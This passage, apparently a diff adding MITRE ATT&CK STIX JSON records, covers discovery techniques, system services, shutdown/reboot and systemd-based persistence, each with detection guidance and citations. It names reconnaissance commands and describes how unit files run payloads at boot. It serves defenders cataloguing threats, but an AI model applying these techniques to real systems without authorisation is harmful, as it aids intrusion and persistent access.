describe-instance-information. Retrieved March 3, 2020.", + "source_name": "Amazon Describe Instance" + }, + { + "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances", + "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.", + "source_name": "Google Instances Resource" + }, + { + "source_name": "Microsoft Virutal Machine API", + "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", + "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Language Discovery", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Access", + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T22:00:56.174Z", + "created": "2021-08-18T14:06:45.244Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.", + "x_mitre_contributors": [ + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1614/001", + "external_id": "T1614.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/", + "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.", + "source_name": "Malware System Language Check" + }, + { + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Ryuk January 2019" + }, + { + "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", + "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.", + "source_name": "Darkside Ransomware Cybereason" + }, + { + "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/", + "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.", + "source_name": "Securelist JSWorm" + }, + { + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", + "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Location Discovery", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T22:00:56.438Z", + "created": "2021-04-01T16:42:08.735Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Wes Hurd", + "Katie Nickels, Red Canary" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1614", + "external_id": "T1614", + "source_name": "mitre-attack" + }, + { + "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf", + "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.", + "source_name": "FBI Ragnar Locker 2020" + }, + { + "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/", + "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.", + "source_name": "Sophos Geolocation 2016" + }, + { + "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/", + "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.", + "source_name": "Bleepingcomputer RAT malware 2020" + }, + { + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html", + "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.", + "source_name": "AWS Instance Identity Documents" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows", + "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.", + "source_name": "Microsoft Azure Instance Metadata 2021" + }, + { + "url": "https://securelist.com/transparent-tribe-part-1/98127/", + "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.", + "source_name": "Securelist Trasparent Tribe 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Network Configuration Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Script: Script Execution", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-08T00:17:37.881Z", + "created": "2017-05-31T21:30:27.342Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1016", + "external_id": "T1016", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/309.html", + "external_id": "CAPEC-309", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Network Connections Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "2.2", + "modified": "2021-03-08T10:33:01.083Z", + "created": "2017-05-31T21:30:45.139Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1049", + "external_id": "T1049", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html", + "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.", + "source_name": "Amazon AWS VPC Guide" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview", + "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.", + "source_name": "Microsoft Azure Virtual Network Overview" + }, + { + "url": "https://cloud.google.com/vpc/docs/vpc", + "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.", + "source_name": "Google VPC Overview" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-12T13:34:34.153Z", + "name": "System Owner/User Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.3", + "created": "2017-05-31T21:30:35.733Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1033", + "external_id": "T1033", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/577.html", + "external_id": "CAPEC-577", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Service Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-17T14:10:36.992Z", + "created": "2017-05-31T21:30:21.315Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1007", + "external_id": "T1007", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/574.html", + "external_id": "CAPEC-574", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-15T18:40:23.888Z", + "name": "System Services", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.1", + "created": "2020-03-10T18:23:06.482Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", + "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1569", + "external_id": "T1569", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-27T21:18:48.149Z", + "name": "System Shutdown/Reboot", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Sensor Health: Host Status" + ], + "x_mitre_version": "1.0", + "created": "2019-10-04T20:42:28.541Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1529", + "external_id": "T1529", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.", + "source_name": "Microsoft Shutdown Oct 2017" + }, + { + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Time Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-22T23:09:24.799Z", + "created": "2017-05-31T21:31:37.450Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", + "x_mitre_contributors": [ + "FIRST.ORG's Cyber Threat Intelligence SIG" + ], + "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1124", + "external_id": "T1124", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/295.html", + "external_id": "CAPEC-295", + "source_name": "capec" + }, + { + "source_name": "MSDN System Time", + "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.", + "url": "https://msdn.microsoft.com/ms724961.aspx" + }, + { + "source_name": "Technet Windows Time Service", + "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "RSA EU12 They're Inside", + "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf" + }, + { + "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/", + "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.", + "source_name": "AnyRun TimeBomb" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-17T16:51:52.027Z", + "name": "Systemd Service", + "created": "2019-04-23T15:34:30.008Z", + "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1501", + "external_id": "T1501", + "source_name": "mitre-attack" + }, + { + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "source_name": "Linux man-pages: systemd January 2014" + }, + { + "url": "https://www.freedesktop.org/wiki/Software/systemd/", + "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.", + "source_name": "Freedesktop.org Linux systemd 29SEP2018" + }, + { + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", + "source_name": "Anomali Rocke March 2019" + }, + { + "source_name": "gist Arch package compromise 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" + }, + { + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" + }, + { + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" + }, + { + "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence", + "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.", + "source_name": "Rapid7 Service Persistence 22JUNE2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Systemd Service", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" + ], + "x_mitre_version": "1.2", + "modified": "2020-10-09T13:46:29.701Z", + "created": "2020-01-17T16:15:19.870Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1543/002", + "external_id": "T1543.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/550.html", + "external_id": "CAPEC-550", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/551.html", + "external_id": "CAPEC-551", + "source_name": "capec" + }, + { + "url": 